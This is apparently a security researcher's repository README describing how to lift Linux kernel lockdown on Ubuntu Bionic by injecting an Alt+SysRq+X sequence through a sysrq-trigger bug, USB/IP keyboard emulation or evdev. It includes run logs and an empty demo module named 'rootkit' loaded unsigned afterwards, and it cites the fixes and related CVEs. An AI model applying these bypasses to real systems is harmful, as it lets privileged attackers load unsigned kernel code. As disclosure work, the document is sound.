| 12 | ``` 13 | perf-tools/bin# ./kprobe 'r:usb usb_control_msg rv=$retval' 14 | Tracing kprobe usb. Ctrl-C to end. 15 | ./kprobe: line 228: echo: write error: Operation not permitted 16 | ERROR: adding kprobe "r:usb usb_control_msg $retval". 17 | Last 2 dmesg entries (might contain reason): 18 | ... 19 | [ 235.815912] Lockdown: kprobe: Use of kprobes is restricted; see man kernel_lockdown.7 20 | Exiting. 21 | ``` 22 | 23 | Lockdown, eh? 24 | 25 | ## What is lockdown? 26 | 27 | Linux kernel lockdown is a security feature that aims at restricting root's ability to modify the kernel at runtime. 28 | See more details in ["Kernel lockdown in 4.17?"](https://lwn.net/Articles/750730/) by Jonathan Corbet and ["Linux kernel lockdown and UEFI Secure Boot"](https://mjg59.dreamwidth.org/50577.html) by Matthew Garrett. 29 | After many years of being in review, the lockdown patchset has been [merged](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aefcf2f4b58155d27340ba5f9ddbe9513da8286d) into the upstream kernel in version 5.4. 30 | Ubuntu has applied [a version of this patchset](https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/bionic/commit/?id=49b04f8acc7788778a360e7462353a86eaffca53) to their kernels in 2018. 31 | 32 | Lockdown is enabled by default on my ThinkPad X1 Carbon laptop with Ubuntu Bionic: 33 | 34 | ``` 35 | # uname -a 36 | Linux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 37 | # dmesg 38 | ... 39 | [ 0.000000] secureboot: Secure boot enabled 40 | [ 0.000000] Kernel is locked down from EFI secure boot; see man kernel_lockdown.7 41 | ... 42 | ``` 43 | 44 | ## Disabling lockdown 45 | 46 | The early versions of the lockdown patchset integrated kernel lockdown with UEFI secure boot and had a way to disable lockdown at runtime by sending an Alt+SysRq+X key sequence on an attached physical keyboard. Later those patches [were](https://lore.kernel.org/linux-security-module/20190306235913.6631-1-matthewgarrett@google.com/) [dropped](https://lore.kernel.org/linux-security-module/CACdnJuuxAM06TcnczOA6NwxhnmQUeqqm3Ma8btukZpuCS+dOqg@mail.gmail.com/) from the upstream patchset, but not from the distro backports. 47 | 48 | While some ways to trigger Alt+SysRq+X from software (e.g. via `/dev/uinput`) were accounted for and disabled, a few still remain. 49 | Here I'll show some methods to disable lockdown by injecting an Alt+SysRq+X key sequence without having physical access to the machine. 50 | 51 | ### Method 0: sysrq-trigger 52 | 53 | The lockdown patchset included a patch that disallowed disabling lockdown by triggering a SysRq via `/proc/sysrq-trigger`. 54 | Unfortunately, the early versions of this patch contained a [bug](https://lore.kernel.org/lkml/15833.1551974371@warthog.procyon.org.uk/) and the restriction hadn't actually been enforced. On Ubuntu the bug has been [introduced](https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/bionic/commit/?id=531c25a35b2a93e025e72e04f16b0f3620ace581) with the first backport of the lockdown patches (since release in April 2018 for Bionic), and [fixed](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1851380) in December 2019. 55 | 56 | Disabling lockdown with this method is trivial as shown [here](00-sysrq-trigger/run.sh). 57 | 58 | Vulnerable: 59 | 60 | ``` 61 | # uname -a 62 | Linux x1 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 63 | 64 | 65 | # cd 00-sysrq-trigger/ 66 | # ./run.sh 67 | ... 68 | Done! Check dmesg. 69 | 70 | # dmesg 71 | ... 72 | [ 315.760278] sysrq: SysRq : 73 | [ 315.760282] This sysrq operation is disabled from userspace. 74 | [ 315.760292] Disabling Secure Boot restrictions 75 | [ 315.760296] Lifting lockdown 76 | ``` 77 | 78 | Fixed: 79 | 80 | ``` 81 | # uname -a 82 | Linux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 83 | 84 | # cd 00-sysrq-trigger/ 85 | # ./run.sh 86 | ... 87 | Done! Check dmesg. 88 | 89 | # dmesg 90 | ... 91 | [ 208.412031] sysrq: SysRq : 92 | [ 208.412032] This sysrq operation is disabled from userspace. 93 | ``` 94 | 95 | (The fix actually went into `4.15.0-72-generic`.) 96 | 97 | ### Method 1: USB/IP 98 | 99 | Another way to turn off lockdown is to emulate a USB keyboard via [USB/IP](http://usbip.sourceforge.net/) (as long as it's enabled in the kernel) and send an Alt+SysRq+X key combination through it. 100 | This has actually been previously pointed out by Jann Horn [here](https://lore.kernel.org/patchwork/patch/898080/#1090220). 101 | 102 | Ubuntu's kernels have USB/IP enabled (`CONFIG_USBIP_VHCI_HCD=m` and `CONFIG_USBIP_CORE=m`) with signed `usbip_core` and `vhci_hcd` modules provided in the `linux-extra-modules-*` package. 103 | 104 | (Jann has also mentioned the Dummy HCD/UDC module, which can indeed by used together with e.g. GadgetFS to do the same trick, but `CONFIG_USB_DUMMY_HCD` is not enabled in Ubuntu kernels.) 105 | 106 | [Here](/01-usbip/keyboard.c) you can find the code that emulates a keyboard over USB/IP and sends an Alt+SysRq+X key combination. [This script](/01-usbip/run.sh) shows how to run it. 107 | It's possible to simplify the implementation of this method by directly interacting with the VHCI driver to emulate a USB device, but I didn't bother with this. 108 | 109 | (Updated 18.02.2020.) This method and has been fixed in [Ubuntu](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1861238) and [Fedora](https://bugzilla.redhat.com/show_bug.cgi?id=1800859) kernels by dropping the "Add a SysRq option to lift kernel lockdown" patch. 110 | 111 | ``` 112 | # uname -a 113 | Linux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 114 | 115 | # cd 01-usbip/ 116 | # ./run.sh 117 | ... 118 | + modprobe vhci_hcd 119 | + modprobe usbip_core 120 | + echo 1 121 | + gcc keyboard.c -o keyboard 122 | + usbip attach -r 127.0.0.1 -b 1-1 123 | + ./keyboard 124 | waiting for connection... 125 | connection from 127.0.0.1 126 | OP_REQ_IMPORT 127 | + sleep 3 128 | USBIP_CMD_SUBMIT 129 | control request 130 | bRequestType: 0x80 (IN), bRequest: 0x6, wValue: 0x100, wIndex: 0x0, wLength: 64 131 | USBIP_CMD_SUBMIT 132 | control request 133 | bRequestType: 0x80 (IN), bRequest: 0x6, wValue: 0x100, wIndex: 0x0, wLength: 18 134 | ... 135 | + echo 'Done! Check dmesg.' 136 | Done! Check dmesg. 137 | 138 | # dmesg 139 | [ 422.346185] vhci_hcd vhci_hcd.0: USB/IP Virtual Host Controller 140 | [ 422.346190] vhci_hcd vhci_hcd.0: new USB bus registered, assigned bus number 5 141 | ... 142 | [ 423.233918] input: x as /devices/platform/vhci_hcd.0/usb5/5-1/5-1:1.0/0003:046D:C312.0002/input/input19 143 | [ 423.293702] hid-generic 0003:046D:C312.0002: input,hidraw1: USB HID v1.10 Keyboard [x] on usb-vhci_hcd.0-1/input0 144 | [ 423.429609] sysrq: SysRq : Disabling Secure Boot restrictions 145 | [ 423.429612] Lifting lockdown 146 | ``` 147 | 148 | ### Method 2: evdev 149 | 150 | (Added 21.03.2020.) 151 | 152 | While Ubuntu's backport of the lockdown patchset [disallows](https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/bionic/commit/?id=531c25a35b2a93e025e72e04f16b0f3620ace581) injecting input events through `uinput`, it does nothing about `evdev`, that can also be used for input injection as long as you have a connected device that supports the required keys (e.g. a built-in laptop keyboard). 153 | 154 | [Here](/02-evdev/evdev-sysrq.c) is the code that finds an appropriate `/dev/input/` device and injects Alt+SysRq+X sequence through it. [Here](/02-evdev/evdev-sysrq.py) is a Python program that does the same. 155 | 156 | This method doesn't really give anything on top of the previous one from a practical standpoint, and it's actually fixed by the same patch that drops support for lifting lockdown via SysRq. 157 | 158 | ``` 159 | # uname -a 160 | Linux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 161 | 162 | # cd 02-evdev 163 | # ./run.sh 164 | + echo 1 165 | + gcc ./evdev-sysrq.c -o evdev-sysrq 166 | + ./evdev-sysrq 167 | checking /dev/input/event0 168 | EV_KEY supported 169 | checking /dev/input/event1 170 | checking /dev/input/event10 171 | checking /dev/input/event11 172 | checking /dev/input/event12 173 | checking /dev/input/event13 174 | checking /dev/input/event14 175 | checking /dev/input/event15 176 | checking /dev/input/event16 177 | EV_KEY supported 178 | checking /dev/input/event2 179 | EV_KEY supported 180 | checking /dev/input/event3 181 | EV_KEY supported 182 | KEY_SYSRQ supported 183 | EV_SYN supported 184 | found device /dev/input/event3 185 | sending Alt+SysRq+X sequence 186 | done 187 | 188 | # dmesg 189 | ... 190 | [ 192.723788] sysrq: SysRq : Disabling Secure Boot restrictions 191 | [ 192.723791] Lifting lockdown 192 | ``` 193 | 194 | ### More methods 195 | 196 | - [American Unsigned Language](https://git.zx2c4.com/american-unsigned-language/tree/american-unsigned-language.sh) and [American Unsigned Language 2](https://git.zx2c4.com/american-unsigned-language/tree/american-unsigned-language-2.sh) 197 | 198 | - [dkms packages generate insecure MOK, allow potential lockdown bypass](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1883949) 199 | 200 | - [CVE-2022-21499: trivial lockdown break](https://www.openwall.com/lists/oss-security/2022/05/24/7) and [fix](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=eadb2f47a3ced5c64b23b90fd2a3463f63726066) 201 | 202 | - [CVE-2022-21505: Kernel lockdown bypass bug](https://www.openwall.com/lists/oss-security/2022/07/19/4) and [fix](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=543ce63b664e2c2f9533d089a4664b559c3e6b5b) 203 | 204 | 205 | ## So what? 206 | 207 | What happens now that lockdown has been disabled? 208 | 209 | At the very least I can now use `kprobe` on my laptop. 210 | (No need to waste time remembering that [tricky key combination sequence](https://superuser.com/questions/562348/altsysrq-on-a-laptop) every time.) 211 | 212 | ``` 213 | perf-tools/bin# ./kprobe 'r:usb usb_control_msg rv=$retval' 214 | Tracing kprobe usb. Ctrl-C to end. 215 | kworker/3:2-984 [003] d... 334.012577: usb: (hub_ext_port_status+0x8b/0x130 <- usb_control_msg) rv=0x4 216 | kworker/3:2-984 [003] d... 334.012590: usb: (usb_clear_port_feature+0x35/0x40 <- usb_control_msg) rv=0x0 217 | kworker/3:2-984 [003] d... 334.012595: usb: (hub_ext_port_status+0x8b/0x130 <- usb_control_msg) rv=0x4 218 | ``` 219 | 220 | And of course it's now also possible to do other fun stuff like loading unsigned kernel modules. 221 | 222 | ``` 223 | # uname -a 224 | Linux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 225 | 226 | # cd rootkit 227 | # make 228 | ... 229 | 230 | # insmod rootkit.ko 231 | insmod: ERROR: could not insert module rootkit.ko: Required key not available 232 | 233 | # cd ../01-usbip 234 | # ./run.sh 235 | ... 236 | Done! Check dmesg. 237 | # dmesg | grep 'Lifting lockdown' 238 | [ 146.480046] Lifting lockdown 239 | 240 | # cd ../rootkit 241 | # insmod rootkit.ko 242 | # dmesg | grep rootkit 243 | [ 175.953572] rootkit: loading out-of-tree module taints kernel. 244 | [ 175.953574] rootkit: module license 'unspecified' taints kernel. 245 | [ 175.953621] rootkit: module verification failed: signature and/or required key missing - tainting kernel 246 | [ 175.953975] rootkit successfully loaded 247 | ``` 248 | 249 | ## No license 250 | 251 | The code in this repository comes with no attached license: parts of it are taken from random places all over the Internet and have unknown or conflicting licenses. Do not use this code if you care about legal consequences. 252 | 253 | THE SOFTWARE [and this disclaimer] IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 254 | -------------------------------------------------------------------------------- /rootkit/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := rootkit.o 2 | KDIR := /lib/modules/$(shell uname -r)/build 3 | PWD := $(shell pwd) 4 | default: 5 | $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules 6 | -------------------------------------------------------------------------------- /rootkit/README.md: -------------------------------------------------------------------------------- 1 | rootkit 2 | ======= 3 | 4 | Just an empty kernel module for demo purposes. 5 | 6 | ``` bash 7 | make 8 | insmod rootkit.ko 9 | ``` 10 | -------------------------------------------------------------------------------- /rootkit/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static int rootkit_init(void) 5 | { 6 | pr_err("rootkit successfully loaded\n"); 7 | return 0; 8 | } 9 | 10 | static void rootkit_exit(void) 11 | { 12 | } 13 | 14 | module_init(rootkit_init); 15 | module_exit(rootkit_exit); 16 | --------------------------------------------------------------------------------